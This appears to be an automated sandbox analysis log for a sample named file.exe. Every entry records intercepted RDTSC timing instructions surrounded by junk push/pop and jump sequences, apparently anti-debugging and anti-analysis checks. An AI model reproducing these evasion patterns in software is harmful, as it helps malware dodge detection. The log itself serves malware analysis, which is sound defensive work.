Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2875 second address: CD2879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2879 second address: CD2899 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F6484B58653h 0x0000000c jmp 00007F6484B5864Dh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2899 second address: CD289D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD289D second address: CD28A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6484B58646h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3138 second address: CD3140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD33A3 second address: CD33B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jp 00007F6484B58646h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD33B3 second address: CD33C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6485173166h 0x0000000a jng 00007F6485173166h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD352A second address: CD352F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC3E5 second address: CDC3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC3EB second address: CDC403 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6484B58646h 0x00000008 jnp 00007F6484B58646h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jl 00007F6484B58648h 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBED7 second address: CDBEDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBEDB second address: CDBEEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6484B5864Ah 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBEEF second address: CDBEF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5ECA second address: CA5EE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6484B5864Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDCAC0 second address: CDCAE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 jmp 00007F6485173171h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2C03 second address: CE2C07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5949A second address: C594CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6485173166h 0x0000000a jmp 00007F6485173174h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F648517316Dh 0x00000016 pushad 0x00000017 popad 0x00000018 push edx 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE15E7 second address: CE1612 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a jng 00007F6484B5864Ch 0x00000010 ja 00007F6484B58646h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F6484B5864Dh 0x0000001d je 00007F6484B58646h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE174C second address: CE1752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1A30 second address: CE1A3A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1A3A second address: CE1A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1BB2 second address: CE1BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1BB8 second address: CE1BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1E8D second address: CE1EA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6484B58654h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1FFB second address: CE1FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1FFF second address: CE202A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B5864Fh 0x00000007 jmp 00007F6484B58658h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE202A second address: CE2030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2030 second address: CE2034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2034 second address: CE2055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F6485173168h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push esi 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 jnp 00007F6485173166h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2055 second address: CE2068 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B5864Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE219E second address: CE21A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6485173166h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE232B second address: CE2355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6484B58646h 0x0000000a popad 0x0000000b jmp 00007F6484B5864Fh 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6484B5864Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2355 second address: CE2375 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6485173166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F6485173172h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2375 second address: CE237F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6484B58646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE24F3 second address: CE251A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6485173170h 0x00000007 jmp 00007F6485173170h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE251A second address: CE252B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jp 00007F6484B58646h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE252B second address: CE252F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE2AA0 second address: CE2AA5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D44E second address: C9D452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D452 second address: C9D458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D5B5 second address: C9D5BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D5BA second address: C9D5F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B5864Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b jmp 00007F6484B58656h 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6484B5864Eh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D5F8 second address: C9D60D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6485173170h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D60D second address: C9D662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jnl 00007F6484B5865Ch 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jmp 00007F6484B58657h 0x00000018 pop eax 0x00000019 mov dword ptr [ebp+1244617Fh], eax 0x0000001f movsx edi, bx 0x00000022 push 473D0073h 0x00000027 push eax 0x00000028 push edx 0x00000029 push edx 0x0000002a push eax 0x0000002b pop eax 0x0000002c pop edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D662 second address: C9D668 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D837 second address: C9D83D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D9DD second address: C9D9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jmp 00007F6485173171h 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D9FB second address: C9DA30 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6484B5864Ch 0x00000008 jnl 00007F6484B58646h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 jg 00007F6484B58657h 0x00000017 push 00000004h 0x00000019 mov edi, dword ptr [ebp+122D366Dh] 0x0000001f nop 0x00000020 push eax 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DDD2 second address: C9DDF0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6485173168h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F648517316Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DDF0 second address: C9DE57 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6484B58648h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b call 00007F6484B5864Dh 0x00000010 jmp 00007F6484B5864Fh 0x00000015 pop edi 0x00000016 push 0000001Eh 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F6484B58648h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 0000001Ah 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F6484B58656h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E07A second address: C9E080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E0F5 second address: C9E0FA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7185 second address: CE71AE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6485173166h 0x00000008 jl 00007F6485173166h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jp 00007F6485173168h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F648517316Dh 0x0000001f push edi 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE75F5 second address: CE75F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7746 second address: CE774C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE774C second address: CE7759 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6484B58646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7759 second address: CE7760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7760 second address: CE7781 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6484B5865Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7781 second address: CE77A7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6485173166h 0x00000008 jmp 00007F648517316Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push edi 0x00000015 pop edi 0x00000016 js 00007F6485173166h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE77A7 second address: CE77B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 push edi 0x00000009 pop edi 0x0000000a ja 00007F6484B58646h 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7A63 second address: CE7A93 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jc 00007F6485173166h 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop edx 0x00000010 jng 00007F648517316Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F648517316Eh 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7A93 second address: CE7A97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7A97 second address: CE7A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEAD5D second address: CEAD6D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F6484B5864Eh 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEAD6D second address: CEAD71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEAD71 second address: CEAD83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6484B5864Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CED16E second address: CED17A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F6485173166h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CED17A second address: CED17E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFFEA second address: CEFFEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF8C1 second address: CEF8C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF8C6 second address: CEF8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push esi 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF8D4 second address: CEF8E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF8E0 second address: CEF8E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFD14 second address: CEFD18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFD18 second address: CEFD1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF40FE second address: CF4104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4104 second address: CF4108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF43B9 second address: CF43E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6484B58648h 0x0000000a jmp 00007F6484B5864Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F6484B58651h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF43E9 second address: CF43EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4559 second address: CF455D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF455D second address: CF4569 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6485173166h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4569 second address: CF4573 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6484B5864Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF46A1 second address: CF46AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6485173166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF46AB second address: CF46AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF46AF second address: CF46BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF46BA second address: CF46C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFA62B second address: CFA635 instructions: 0x00000000 rdtsc 0x00000002 je 00007F648517316Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8E63 second address: CF8E69 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8E69 second address: CF8E85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6485173170h 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF92F4 second address: CF9312 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6484B58646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6484B58652h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF9312 second address: CF9326 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6485173166h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F6485173166h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF949A second address: CF94A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF95EB second address: CF95F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF95F1 second address: CF95FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6484B58646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF95FB second address: CF962F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6485173173h 0x00000007 jp 00007F6485173166h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F6485173174h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF98C2 second address: CF98F1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6484B58646h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007F6484B58648h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F6484B58659h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF98F1 second address: CF98F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
